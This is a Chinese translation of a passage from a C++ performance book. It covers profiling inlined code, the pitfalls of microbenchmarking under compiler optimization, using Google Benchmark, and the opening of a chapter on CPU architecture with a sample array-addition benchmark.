让我们看看我们之前使用的性能分析工具如何处理内联代码。运行 Google 性能分析器对带注释的源代码行产生了这份报告:

图 2.19

图 2.19

正如您所见,性能分析器知道compare()函数被内联,但仍显示其原始名称。源代码中的行对应于函数的代码编写位置,而不是调用位置,例如,第 23 行是这样的:

if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];

另一方面,perf 性能分析器并不容易显示内联函数:

图 2.20

图 2.20

在这里,我们可以看到时间似乎花在了排序代码和主程序本身上。然而,检查带注释的源代码,我们发现从compare()函数源代码生成的代码仍然占绝大多数执行时间:

图 2.21

图 2.21

不幸的是,没有简单的方法来消除优化对性能分析的影响。内联、代码重排和其他转换将详细的性能分析变成了一个随着实践而发展的技能。因此,现在需要一些关于有效使用性能分析的实际建议。

实际的性能分析

也许会有诱惑力认为性能分析是解决所有性能测量需求的终极解决方案:在性能分析器下运行整个程序,收集所有数据,并获得对代码中发生的一切情况的完整分析。不幸的是,情况很少会如此顺利。有时,工具的限制会成为阻碍。通常,大量数据中包含的信息复杂性太过压倒性。那么,你应该如何有效地使用性能分析呢?

建议的方法是首先收集高级信息,然后进行细化。将执行时间分解为大型模块之间的粗略概要可能是一个很好的起点。另一方面,如果模块已经为基准测试进行了仪器化,并且在所有主要执行步骤中都有计时器,那么你可能已经有了这些信息。如果你没有这样的仪器化,初始概要提供了这些步骤的很好建议,因此考虑现在添加基准测试仪器,这样下次就有了:你真的不指望一劳永逸地解决所有性能问题,对吧?

通过基准测试结果和粗略的概要,你可能会遇到以下几种情况之一。如果你很幸运,概要会指向一些低挂果实,比如一个函数占用了 99%的时间来对列表进行排序。是的,这种情况确实会发生:当代码最初编写时,没有人预料到列表会比十个元素更长,所以一段时间内确实如此,然后每个人都忘记了该代码,直到它在概要中显示为长杆。

更有可能的是,概要会引导你到一些大型函数或模块。现在你必须迭代,创建专注于程序有趣部分的测试,并更详细地对代码的一小部分进行概要。一些基准测试数据在解释概要时也可能非常有帮助:虽然概要会告诉你在给定函数或循环中花费了多少时间,但它不会计算循环迭代或跟踪 if-else 条件。请注意,大多数性能分析工具可以计算函数调用次数,因此良好的模块化代码比庞大的单片混乱代码更容易进行概要。

当你收集和完善概要时,数据将引导你关注代码的性能关键区域。这也是你可能会犯的一个常见错误的时候:当你专注于太慢的代码时,你可能会跳过考虑更大的画面而进行优化。例如,概要显示一个特定循环在内存分配上花费了大部分时间。在决定是否需要更高效的内存分配器之前,考虑一下你是否真的需要在每次循环迭代中分配和释放内存。使慢速代码变快的最佳方法通常是减少调用次数。这可能需要不同的算法或更高效的实现。

同样频繁的是,你会发现有一个计算是必须要做的,它是代码的性能关键部分,而加快程序的唯一方法就是让这段代码更快。现在你必须尝试不同的优化方法,看看哪种效果最好。你可以在程序本身中实时进行,但这通常是一种浪费时间的方法,会显著降低你的生产力。理想情况下,你希望快速尝试不同的实现方法,甚至针对特定问题尝试不同的算法。在这里,你可以利用第三种收集性能数据的方法,微基准测试。

微基准测试

在上一节结束时,我们弄清楚了程序在执行过程中花费大部分时间的地方。当我们的“显而易见”和“万无一失”的优化反而使程序运行得更慢时,我们也感到惊讶。现在很明显,我们必须更详细地调查性能关键函数。

我们已经有了这样的工具:整个程序正在执行这段代码,并且我们有方法来衡量它的性能。但我们现在真的对程序的其余部分不感兴趣了,至少在我们解决了已经确定的性能问题之前是这样。

为了优化程序中的几行代码而使用大型程序有以下两个主要缺点:

首先,即使少数行被确定为性能关键,也并不意味着整个程序根本不需要时间(在我们的演示示例中确实如此,但请记住,这个示例应该代表您正在处理的整个大型程序)。在整个工作或性能关键函数仅在特定条件下调用时,您可能需要等待几个小时,比如特定请求通过网络传输。

其次,处理大型程序需要更多时间:编译和链接时间更长,您的工作可能正在与其他程序员所做的代码更改进行交互,甚至编辑时间更长,因为所有额外的代码会分散注意力。总之,在这一点上,我们只对一个函数感兴趣,所以我们希望能够调用这个函数并测量结果。这就是微基准测试的用武之地。

微基准测试的基础知识

简而言之,微基准测试只是我们刚才说我们想要做的事情的一种方式:运行一小段代码并测量其性能。在我们的情况下,只是一个函数,但也可以是一个更复杂的代码片段。重要的是,这个代码片段可以在正确的起始条件下轻松调用:对于一个函数,只是参数,但对于一个更大的片段,可能需要重新创建一个更复杂的内部状态。

在我们的情况下,我们知道我们需要使用哪些参数调用字符串比较函数 - 我们自己构造了参数。我们需要的第二件事是测量执行时间;我们已经看到可以用于此目的的定时器。考虑到这一点,我们可以编写一个非常简单的基准测试,调用我们的字符串比较函数的几个变体并报告结果:

bool compare1(const char* s1, const char* s2) {
  int i1 = 0, i2 = 0;
  char c1, c2;
  while (1) {
     c1 = s1[i1]; c2 = s2[i2];
     if (c1 != c2) return c1 > c2;
     ++i1; ++i2;
  }
}
bool compare2(const char* s1, const char* s2) {
  unsigned int i1 = 0, i2 = 0;
  char c1, c2;
  while (1) {
     c1 = s1[i1]; c2 = s2[i2];
     if (c1 != c2) return c1 > c2;
     ++i1; ++i2;
  }
}
int main() {
  constexpr unsigned int N = 1 << 20;
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  system_clock::time_point t0 = system_clock::now();
  compare1(s.get(), s.get() + N);
  system_clock::time_point t1 = system_clock::now();
  compare2(s.get(), s.get() + N);
  system_clock::time_point t2 = system_clock::now();
  cout << duration_cast<microseconds>(t1 - t0).count() <<
   "us " << duration_cast<microseconds>(t2 - t1).count() <<
      "us" << endl;
}

在这个程序中,我们只测试了两个比较函数,都没有循环结束条件,一个使用int索引,另一个使用unsigned int索引。此外,我们不会在后续列表中重复#includeusing语句。输入数据只是一个从头到尾填满相同字符的长字符串,因此子字符串比较将一直运行到字符串的末尾。当然,我们可以在任何需要的数据上进行基准测试,但让我们从最简单的情况开始。

该程序看起来将完全符合我们的需求...至少直到我们运行它为止:

图 2.22

图 2.22

零时间,无论如何。出了什么问题?也许,单个函数调用的执行时间太快,无法测量?这不是一个坏猜测,我们可以很容易地解决这个问题:如果一个调用时间太短,我们只需要进行更多的调用:

int main() {
  constexpr unsigned int N = 1 << 20;
  constexpr int NI = 1 << 11;
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  system_clock::time_point t0 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
        compare1(s.get(), s.get() + N);
  }
  system_clock::time_point t1 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
        compare2(s.get(), s.get() + N);
  }
  system_clock::time_point t2 = system_clock::now();
  cout << duration_cast<microseconds>(t1 - t0).count() <<
   "us " << duration_cast<microseconds>(t2 - t1).count() <<
     "us" << endl;
}

我们可以增加迭代次数NI直到获得一些结果,对吗?不要那么快:

图 2.23

图 2.23

实际上太快了,但为什么?让我们在调试器中逐步执行程序,看看它实际上做了什么:

图 2.24

图 2.24

我们在main中设置断点,因此程序一启动就会暂停,然后我们逐行执行程序...除了我们编写的所有行之外!其他代码在哪里?我们可以猜想是编译器的问题,但为什么?我们需要更多了解编译器优化。

微基准测试和编译器优化

要理解这个缺失代码的奥秘,我们必须重新审视缺失代码实际上做了什么。它创建了一些字符串,调用了比较函数,然后……没有“然后”。除了在调试器中观察代码滚动之外,通过运行这个程序,你怎么知道这段代码是否被执行?你无法知道。编译器已经比我们提前到达了同样的结论。由于程序员无法区分执行和不执行代码的差异,编译器对其进行了优化。但是等等,你说,程序员可以区分:什么都不做比做一些事情要花费更少的时间。在这里,我们来到了 C++标准中非常重要的一个概念,这对于理解编译器优化至关重要:可观察行为。

标准规定,只要这些更改的效果不会改变可观察行为,编译器可以对程序进行任何更改。标准还非常明确地规定了什么构成了可观察行为:

  1. 对 volatile 对象的访问(读取和写入)严格按照它们出现的表达式的语义进行。特别是,它们不会与同一线程上的其他 volatile 访问重新排序。

  2. 在程序终止时,写入文件的数据与按原样执行程序时完全相同。

  3. 发送到交互设备的提示文本将在程序等待输入之前显示。更一般地说,输入和输出操作不能被省略或重新排列。

前面的规则有一些例外情况,但都不适用于我们的程序。编译器必须遵循“as-if”规则:优化后的程序应该表现出与按行执行完全相同的可观察行为。现在注意一下前面的列表中没有包括的内容:在调试器下运行程序并不构成可观察行为。执行时间也不构成可观察行为,否则,没有程序可以被优化以使其更快。

有了这种新的理解,让我们再来看一下基准代码:字符串比较的结果以任何方式都不会影响可观察行为,因此整个计算可以由编译器自行决定是否执行或省略。这一观察还给了我们解决这个问题的方法:我们必须确保计算的结果影响可观察行为。其中一种方法是利用先前描述的 volatile 语义:

int main() {
  constexpr unsigned int N = 1 << 20;
  constexpr int NI = 1 << 11;
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  volatile bool sink;
  system_clock::time_point t0 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
     sink = compare1(s.get(), s.get() + N);
  }
  system_clock::time_point t1 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
     sink = compare2(s.get(), s.get() + N);
  }
  system_clock::time_point t2 = system_clock::now();
  cout << duration_cast<microseconds>(t1 - t0).count() <<
   "us " << duration_cast<microseconds>(t2 - t1).count() <<
     "us" << endl;
}

现在,每次调用比较函数的结果都被写入一个 volatile 变量中,并且根据标准,这些值必须是正确的并按正确的顺序写入。编译器现在别无选择,只能调用我们的比较函数并获取结果。只要结果本身不改变,这些结果的计算方式仍然可以被优化。这正是我们想要的:我们希望编译器为比较函数生成最佳代码,希望它生成的代码与实际程序中生成的代码相同。我们只是不希望它完全删除这些函数。运行这个基准测试表明我们终于实现了我们的目标,代码肯定在运行:

图 2.25

图 2.25

第一个值是compare1()函数的运行时间,它使用int索引,并且确实比unsigned int版本稍快(但不要对这些结果过于信任)。

将我们的计算与一些可观察行为纠缠在一起的第二个选项是简单地打印出结果。然而,这可能会有点棘手。考虑直接的尝试:

int main() {
  constexpr unsigned int N = 1 << 20;
  constexpr int NI = 1 << 11;
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  bool sink;
  system_clock::time_point t0 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
     sink = compare1(s.get(), s.get() + N);
  }
  system_clock::time_point t1 = system_clock::now();
  for (int i = 0; i < NI; ++i) {
     sink = compare2(s.get(), s.get() + N);
  }
  system_clock::time_point t2 = system_clock::now();
  cout << duration_cast<microseconds>(t1 - t0).count() <<
   "us " << duration_cast<microseconds>(t2 - t1).count() <<
     "us" << sink << endl;
}

请注意,变量sink不再是 volatile,而是我们写出它的最终值。这并不像你期望的那样有效:

图 2.26

图 2.26

函数compare2()的执行时间与以前差不多,但compare1()现在似乎快得多。当然,到现在为止,我们已经知道足够多,以理解这种“改进”是虚幻的:编译器只是简单地发现第一次调用的结果被第二次调用覆盖,因此不会影响可观察的行为。

这带来了一个有趣的问题:为什么编译器没有发现循环的第二次迭代给出了与第一次相同的结果,并优化掉了除第一次之外的每次对比函数调用?如果优化器足够先进,它本来可以这样做,然后我们将不得不做更多工作来解决这个问题:通常,将函数编译为单独的编译单元足以防止任何此类优化,尽管一些编译器能够进行整个程序的优化,因此在运行微基准测试时可能需要关闭它们。

还要注意,我们的两次基准运行即使对于未被优化的函数的执行时间也产生了略有不同的值。如果再次运行程序,您将得到另一个值,也在同一范围内,但略有不同。这还不够好:我们需要的不仅仅是大致的数字。我们可以多次运行基准测试,找出我们需要多少次重复,并计算平均时间,但我们不必手动执行。我们也不必编写代码来执行此操作,因为这样的代码已经被编写并作为几种微基准测试工具之一可用。我们现在将学习其中一种工具。

谷歌基准测试

编写微基准测试涉及大量样板代码,主要用于测量时间和累积结果。此外,此代码对于测量的准确性至关重要。有几个高质量的微基准库可用。在本书中,我们使用谷歌基准库。有关下载和安装库的说明可以在技术要求部分找到。在本节中,我们将描述如何使用该库并解释结果。

要使用谷歌基准库,我们必须编写一个小程序,准备输入并执行我们想要进行基准测试的代码。这是一个用于测量我们的字符串比较函数性能的基本谷歌基准程序:

#include "benchmark/benchmark.h"
using std::unique_ptr;
bool compare_int(const char* s1, const char* s2) {
  char c1, c2;
  for (int i1 = 0, i2 = 0; ; ++i1, ++i2) {
     c1 = s1[i1]; c2 = s2[i2];
     if (c1 != c2) return c1 > c2;
  }
}
void BM_loop_int(benchmark::State& state) {
  const unsigned int N = state.range(0);
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  const char* s1 = s.get(), *s2 = s1 + N;
  for (auto _ : state) {
     benchmark::DoNotOptimize(compare_int(s1, s2));
  }
  state.SetItemsProcessed(N*state.iterations());
}
BENCHMARK(BM_loop_int)->Arg(1<<20);
BENCHMARK_MAIN();

每个谷歌基准程序必须包括库的头文件benchmark/benchmark.h,当然,还有任何其他编译所需的头文件(它们在前面的清单中被省略了)。程序本身由许多基准“固定装置”组成,每个都只是一个具有特定签名的函数:它通过引用接受一个参数benchmark::State,并且不返回任何东西。该参数是由谷歌基准库提供的一个对象,用于与库本身进行交互。

我们需要为每个代码片段(例如我们想要进行基准测试的函数)创建一个固定装置。在每个基准装置中,我们要做的第一件事是设置我们需要用作代码输入的数据。更一般地说,我们可以说我们需要重新创建此代码的初始状态,以表示在真实程序中的情况。在我们的情况下,输入是字符串,因此我们需要分配和初始化字符串。我们可以将字符串的大小硬编码到基准测试中,但也有一种方法可以将参数传递给基准测试装置。我们的装置使用一个参数,即字符串长度,它是一个整数,通过state.range(0)访问。可以传递其他类型的参数,请参阅谷歌基准库的文档了解详情。

整个设置在基准测试测量方面是自由的:我们不测量准备数据所需的时间。被测量执行时间的代码放入基准测试循环的主体中,for (auto _ : state) { … }。在旧的例子中,您可以找到这个循环写成while (state.KeepRunning()) { … },它做的事情是一样的,但效率稍低。该库测量每次迭代所需的时间,并决定要做多少次迭代以积累足够的测量结果,以减少在测量代码片段的运行时间时不可避免的随机噪音。只有基准测试循环内部的代码的运行时间被测量。

当测量足够准确时(或达到一定的时间限制)循环退出。循环之后,我们通常有一些代码来清理之前初始化的数据,尽管在我们的情况下,这个清理是由std::unique_ptr对象的析构函数处理的。我们还可以调用状态对象来影响基准测试报告的结果。该库总是报告运行循环的一次迭代所需的平均时间,但有时以其他方式表达程序速度更方便。对于我们的字符串比较,一种选择是报告代码每秒处理的字符数。我们可以通过调用state.SetItemsProcessed()来实现,其中包括我们在整个运行过程中处理的字符数,每次迭代处理N个字符(或者如果要计算两个子字符串,则为2*Nitems可以计算您定义为处理单位的任何内容)。

仅仅定义了一个基准测试装置并不会有任何作用,我们需要在库中注册它。这是使用BENCHMARK宏完成的;宏的参数是函数的名称。顺便说一下,该名称并没有什么特别之处,它可以是任何有效的 C++标识符;我们的名称以BM_开头只是我们在本书中遵循的命名约定。BENCHMARK宏也是您将指定要传递给基准测试装置的任何参数的地方。使用重载的箭头运算符传递基准测试的参数和其他选项,例如:

BENCHMARK(BM_loop_int)->Arg(1<<20);

这行代码使用一个参数1<<20注册了基准测试装置BM_loop_int,可以通过调用state.range(0)在装置内检索到。在本书中,我们将看到更多不同参数的示例,甚至可以在库文档中找到更多。

您还会注意到在前面的代码清单中没有main();相反,有另一个宏,BENCHMARK_MAIN()main()不是我们编写的,而是由 Google Benchmark 库提供的,它完成了设置基准测试环境、注册基准测试和执行基准测试的所有必要工作。

让我们回到我们想要测量的代码并更仔细地检查一下:

  for (auto _ : state) {
     benchmark::DoNotOptimize(compare_int(s1, s2));
  }

benchmark::DoNotOptimize(…)包装函数的作用类似于我们之前使用的volatile sink:它确保编译器不会优化掉对compare_int()的整个调用。请注意,它实际上并没有关闭任何优化;特别是括号内的代码通常会像我们想要的那样进行优化。它所做的只是告诉编译器,表达式的结果,在我们的情况下是比较函数的返回值,应该被视为“已使用”,就像它被打印出来一样,不能简单地被丢弃。

现在我们准备编译和运行我们的第一个微基准测试:

图 2.27

图 2.27

现在编译行必须列出 Google 基准include文件和库的路径;Google 基准库libbenchmark.a需要几个额外的库。一旦调用,基准程序会打印一些关于我们正在运行的系统的信息,然后执行所有已注册的 fixture 及其所有参数。对于每个基准 fixture 和一组参数,我们会得到一行输出;报告包括每次基准循环体的平均实际时间和平均 CPU 时间,循环执行的次数,以及我们附加到报告的任何其他统计信息(在我们的情况下,每秒处理的字符数,超过 2G 字符每秒)。

这些数字每次运行时有多大的变化?如果我们使用正确的命令行参数启用统计信息收集,基准库可以为我们计算出来。例如,要重复进行基准测试十次并报告结果,我们会这样运行基准测试:

图 2.28

图 2.28

看起来测量结果相当准确;标准偏差相当小。现在我们可以对比不同变体的子字符串比较函数,并找出哪一个是最快的。但在我们这样做之前,我必须告诉你一个大秘密。

微基准测试是谎言

当你开始运行越来越多的微基准测试时,你很快就会发现这一点。起初,结果是合理的,你进行了良好的优化,一切看起来都很好。然后你做了一些小改变,得到了一个完全不同的结果。你回去调查,现在你已经运行过的相同测试给出了完全不同的数字。最终,你找到了两个几乎相同的测试,结果完全相反,你意识到你不能相信微基准测试。它会摧毁你对微基准测试的信心,我现在唯一能做的就是以一种可控的方式摧毁它,这样我们还能从废墟中挽救一些东西。

微基准测试和任何其他详细的性能测量的根本问题是它们强烈依赖于上下文。当你阅读本书的其余部分时,你会越来越明白现代计算机的性能行为是非常复杂的。结果不仅仅取决于代码在做什么,还取决于系统的其余部分在同一时间在做什么,以及之前它在做什么,以及执行路径在到达感兴趣点之前经过的情况。这些事情在微基准测试中都没有被复制。

相反,基准测试有它自己的上下文。基准测试库的作者并不对这个问题一无所知,并且他们尽力去对抗它。例如,你看不到的是,Google 基准库对每个测试进行了烧入:最初的几次迭代可能具有与运行的其余部分非常不同的性能特征,因此库会忽略初始测量,直到结果"稳定"。但这也定义了一个特定的上下文,可能与每次调用函数只重复一次的真实程序不同(另一方面,有时我们确实会在程序运行中多次使用相同的参数调用相同的函数,所以这可能是一个不同的上下文)。

在运行基准测试之前,没有什么可以忠实地复制大型程序的真实环境的每一个细节。但是有些细节比其他细节更重要。特别是,上下文差异的最大来源远远是编译器,或者更具体地说,是编译器在真实程序与微基准测试上所做的优化。我们已经看到编译器如何顽固地试图弄清楚整个微基准测试基本上是一种非常缓慢的无用操作(或者至少是不可观察的无用操作),并用更快的方式替换它。我们之前使用的DoNotOptimize包装器可以解决一些由编译器优化引起的问题。

然而,仍然存在这样的可能性,即编译器可能会发现每次调用函数都返回相同的结果。此外,由于函数定义与调用点在同一个文件中,编译器可以内联整个函数,并使用它可以收集到的关于参数的任何信息来优化函数代码。当函数从另一个编译单元调用时,在一般情况下这样的优化是不可用的。

为了更准确地在我们的微基准测试中表示真实情况,我们可以将比较函数移动到它自己的文件中,并将其单独编译。现在我们有一个文件(编译单元),其中只有基准测试的固定装置:

#include "benchmark/benchmark.h"
extern bool compare_int(const char* s1, const char* s2);
extern bool compare_uint(const char* s1, const char* s2);
extern bool compare_uint_l(const char* s1, const char* s2,
  unsigned int l);
void BM_loop_int(benchmark::State& state) {
  const unsigned int N = state.range(0);
  unique_ptr<char[]> s(new char[2*N]);
  ::memset(s.get(), 'a', 2*N*sizeof(char));
  s[2*N-1] = 0;
  const char* s1 = s.get(), *s2 = s1 + N;
  for (auto _ : state) {
     benchmark::DoNotOptimize(compare_int(s1, s2));
  }
  state.SetItemsProcessed(N*state.iterations());
}
void BM_loop_uint(benchmark::State& state) {
  … compare_uint(s1, s2) …
}
void BM_loop_uint_l(benchmark::State& state) {
  … compare_uint_l(s1, s2, 2*N) …
}
BENCHMARK(BM_loop_int)->Arg(1<<20);
BENCHMARK(BM_loop_uint)->Arg(1<<20);
BENCHMARK(BM_loop_uint_l)->Arg(1<<20);

我们可以分别编译文件,然后将它们链接在一起(任何完整程序的优化都必须关闭)。现在我们有一个合理的期望,即编译器没有生成某种特殊的减少版本的子字符串比较,因为它根据我们在基准测试中使用的参数所得出的结论。仅凭这个简单的预防措施,结果就更加符合我们在对整个程序进行性能分析时观察到的情况:

图 2.29

图 2.29

代码的初始版本使用了unsigned int索引和循环中的边界条件(最后一行);简单地删除那个完全不必要的边界条件检查导致了令人惊讶的性能下降(中间行);最后,将索引更改为signed int恢复了丢失的性能,甚至提高了性能(第一行)。

通常,将代码片段分别编译就足以避免任何不需要的优化。不太常见的是,您可能会发现编译器对同一文件中的特定代码块进行不同的优化,这取决于文件中还有什么其他内容。这可能只是编译器中的一个错误,但也可能是某种启发式的结果,在编译器编写者的经验中,这种启发式更常常是正确的。如果您观察到结果取决于根本没有执行的某些代码,只是编译了的代码,这可能就是原因。一个解决方案是使用真实程序中的编译单元,然后只调用您想要进行基准测试的函数。当然,您将不得不满足编译和链接的依赖关系,这就是编写模块化代码和最小化依赖关系的另一个原因。

另一个上下文的来源是计算机本身的状态。显然,如果整个程序耗尽了内存并且正在在交换区中循环页面,您的小内存基准测试将无法代表真实问题;另一方面,问题现在不在于“慢”代码,问题在于其他地方消耗了太多内存。然而,这种上下文依赖的更微妙的版本存在,并可能影响基准测试。通常这种情况的一个显著迹象是:结果取决于测试执行的顺序(在微基准测试中,是BENCHMARK宏的顺序)。如果重新排序测试或仅运行一部分测试会产生不同的结果,那么它们之间存在某种依赖关系。这可能是代码依赖,通常是一些全局数据结构中的数据累积。或者它可能是对硬件状态的微妙依赖。这些更难以弄清楚,但您将在本书的后面学习到一些导致这种依赖的情况。

最后,有一个主要的上下文依赖来源完全掌握在您手中(这并不一定意味着容易避免,但至少是可能的)。这是对程序状态的依赖。我们已经不得不处理这种依赖的最明显方面:我们想要对代码进行基准测试的输入。有时,输入是已知的或可以重建的。通常,性能问题只发生在某些类型的输入下,我们不知道它们有何特殊之处,直到我们分析具有这些特定输入的代码的性能,这正是我们一开始尝试用微基准测试来做的。在这种情况下,通常最容易的方法是从真实程序的真实运行中捕获输入,将它们存储在文件中,并使用它们来重新创建我们正在测量的代码的状态。这个输入可能是简单的数据集合,也可能是需要记录和“回放”到事件处理程序以重现所需行为的事件序列。

我们需要重建的状态越复杂,就越难在部分基准测试中重现真实程序的性能行为。请注意,这个问题在某种程度上类似于编写单元测试的问题:如果程序无法分解为具有简单状态的较小单元,编写单元测试也会更加困难。再次看到了良好设计的软件系统的优势:具有良好单元测试覆盖率的代码库通常更容易进行微基准测试,逐步进行测试。

当我们开始本节时,您已经被警告,这部分内容旨在部分恢复您对微基准测试的信心。它们可以是一个有用的工具,正如我们在本书中多次看到的那样。它们也可能误导您,有时甚至误导得很远。现在您了解了一些原因,更有准备去尝试从结果中恢复有用的信息,而不是完全放弃小规模基准测试。

本章介绍的工具都不是解决所有问题的解决方案;它们也不是用来解决所有问题的。通过使用这些工具以各种方式收集信息,它们可以相互补充,从而实现最佳结果。

摘要

在本章中,您学到了整本书中可能最重要的一课:谈论性能而不参考具体的测量是没有意义的,甚至是不切实际的。其余的内容主要是技艺:我们介绍了几种测量性能的方法,从整个程序开始,逐渐深入到单行代码。

一个大型高性能项目将会看到本章中学到的每种工具和方法被使用不止一次。粗略的测量 - 对整个程序或其大部分进行基准测试和分析 - 指向了需要进一步调查的代码区域。通常会跟随额外的基准测试轮次或更详细的分析。最终,你会确定需要优化的代码部分,问题变成了,“我该如何更快地做到这一点?”在这一点上,你可以使用微基准测试或其他小规模基准测试来尝试优化的代码。你甚至可能会发现你对这段代码的理解并不如你想象的那么多,需要对其性能进行更详细的分析;不要忘记你可以对微基准进行分析!

最终,你将拥有一个在小型基准测试中看起来有利的性能关键代码的新版本。但是,不要假设任何事情:现在你必须测量你的优化或增强对整个程序的性能。有时,这些测量将确认你对问题的理解并验证其解决方案。在其他时候,你会发现问题并不是你所想象的那样,而优化虽然本身有益,但对整个程序的效果并不如预期(甚至可能使情况变得更糟)。现在你有了一个新的数据点,你可以比较旧解决方案和新解决方案的分析,并在这种比较中揭示的差异中寻找答案。

高性能程序的开发和优化几乎从来都不是一个线性的、一步一步的过程。相反,它经历了许多从高层概述到低层详细工作再返回的迭代。在这个过程中,你的直觉起着一定的作用;只是确保始终测试和确认你的期望,因为在性能方面,没有什么是真正明显的。

在下一章中,我们将看到我们之前遇到的谜团的解决方案:删除不必要的代码会使程序变慢。为了做到这一点,我们必须了解如何有效地利用 CPU 以获得最佳性能,整个下一章都致力于此。

问题

  1. 为什么性能测量是必要的?

  2. 为什么我们需要这么多不同的性能测量方法?

  3. 手动基准测试的优势和局限性是什么?

  4. 分析如何用于性能测量?

  5. 小规模基准测试,包括微基准测试的用途是什么?

第三章:CPU 架构、资源和性能

通过本章,我们开始探索计算硬件:我们想知道如何最佳地使用它,并从中挤出最佳性能。我们首先要了解的硬件组件是中央处理器。CPU 执行所有计算,如果我们没有有效地使用它,那么没有什么能拯救我们慢速、性能不佳的程序。本章致力于学习 CPU 资源和能力,最佳使用它们的方式,未能充分利用 CPU 资源的更常见原因,以及如何解决它们。

在本章中,我们将涵盖以下主要主题:

  • 现代 CPU 的架构

  • 利用 CPU 的内部并发以获得最佳性能

  • CPU 流水线和推测执行

  • 分支优化和无分支计算

  • 如何评估程序是否有效地使用 CPU 资源

技术要求

再次,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(位于github.com/google/benchmark)。我们还将使用LLVM 机器码分析器LLVM-MCA),位于llvm.org/docs/CommandGuide/llvm-mca.html。如果您想使用 MCA,您的编译器选择将更有限:您需要一个基于 LLVM 的编译器,比如 Clang。

本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter03找到。

性能始于 CPU

正如我们在前几章中观察到的,一个高效的程序是充分利用可用硬件资源并不浪费它们在不需要的任务上的程序。一个高性能的程序不能如此简单地描述,因为性能只能针对特定目标来定义。尽管如此,在本书中,特别是在本章中,我们主要关注计算性能或吞吐量:我们能用现有的硬件资源多快地解决一个给定的问题?这种性能类型与效率密切相关:如果我们的程序执行的每个计算都让我们更接近结果,并且在每一刻都尽可能多地进行计算,那么我们的程序将更快地提供结果。

这带我们来到下一个问题:比如说,一秒钟内可以做多少计算?答案当然取决于你拥有什么硬件,有多少硬件,以及你的程序能够有效地使用多少。任何程序都需要多个硬件组件:处理器和内存,显然,但对于任何分布式程序还需要网络,对于操纵大量外部数据的任何程序还需要存储和其他 I/O 通道,可能还需要其他硬件,具体取决于程序的功能。但一切都始于处理器,因此,我们的高性能编程探索也必然从这里开始。此外,在本章中,我们将限制自己在单个执行线程上;并发将在后面讨论。

在这个更狭窄的焦点下,我们可以定义本章的主题:如何使用单个线程最佳地利用 CPU 资源。要理解这一点,我们首先需要探索 CPU 具有哪些资源。当然,不同世代和不同型号的处理器将具有不同的硬件能力组合,但本书的目标是双重的:首先,给你一个对主题的一般理解,其次,为你提供获取更详细和具体知识所需的工具。任何现代 CPU 上可用的计算资源的一般概述可概括为它很复杂。为了说明这一点,考虑一下英特尔 CPU 的芯片图像:

图 3.1 - 带有功能区域标记的奔腾 CPU 芯片图像(来源:英特尔)

图 3.1 - 带有功能区域标记的奔腾 CPU 芯片图像(来源:英特尔)

在图像的顶部叠加了主要功能区域的描述。如果这是你第一次看到这样的图像,最令人震惊的细节可能是执行单元,也就是实际进行加法、乘法和其他我们认为是 CPU 主要功能的操作的部分,实际上并没有占据整个硅片的四分之一。其余部分是其他东西,其基本目的是使加法和乘法能够有效地工作。第二个更实际相关的观察是:处理器有许多具有不同功能的组件。其中一些组件基本上可以自行工作,程序员几乎不需要做什么来充分利用它们。有些需要仔细安排机器代码,幸运的是,这大部分是由编译器完成的。但是超过一半的硅片面积都专门用于那些不仅仅是自我优化的组件:为了使处理器发挥最大性能,程序员需要了解它们的工作原理,它们能做什么,不能做什么,以及什么影响了它们操作的效率(无论是积极的还是消极的)。即使是那些自行工作良好的部分,如果真的需要异常的性能,也可以从程序员的关注中受益。

有许多关于处理器架构的书籍,包括设计者用来提高其作品性能的所有硬件技术。这些书籍可以成为宝贵的知识和理解的来源。这本书不会是又一本这样的书。它所具有的硬件描述和解释,服务于不同的目标:在这里,我们将专注于您可以探索硬件性能的实际方法,从 CPU 开始。我们将在下一节中立即开始这项探索。

用微基准测试探索性能

前一节的结果可能让你有些畏缩:处理器非常复杂,显然需要程序员大量辅助才能达到最高效率。让我们从小处着手,看看处理器可以多快地执行一些基本操作。为此,我们将使用上一章中使用过的Google Benchmark工具。这是一个用于简单数组相加的基准测试:

#include "benchmark/benchmark.h"
void BM_add(benchmark::State& state) {
     srand(1);
     const unsigned int N = state.range(0);
     std::vector<unsigned long> v1(N), v2(N);
     for (size_t i = 0; i < N; ++i) {
           v1[i] = rand();
           v2[i] = rand();
     }
     unsigned long* p1 = v1.data();
     unsigned long* p2 = v2.data();
     for (auto _ : state) {
           unsigned long a1 = 0;
           for (size_t i = 0; i < N; ++i) {
                 a1 += p1[i] + p2[i];
           }
           benchmark::DoNotOptimize(a1);
           benchmark::ClobberMemory();
     }
     state.SetItemsProcessed(N*state.iterations());
}
BENCHMARK(BM_add)->Arg(1<<22);
BENCHMARK_MAIN();

在这个第一个例子中,我们展示了所有细节的基准测试,包括输入生成。虽然大多数操作的速度不取决于操作数的值,但我们将使用随机输入值,这样当我们进行对输入值敏感的操作时就不必担心了。还要注意的是,虽然我们将值存储在向量中,但我们不想对向量索引的速度进行基准测试:编译器几乎肯定会优化表达式v1[i]以产生与p1[i]完全相同的代码,但为什么要冒险呢?我们排除尽可能多的非必要细节,直到我们只剩下最基本的问题:我们在内存中有两个数组的值,我们想对这些数组的每个元素进行一些计算。

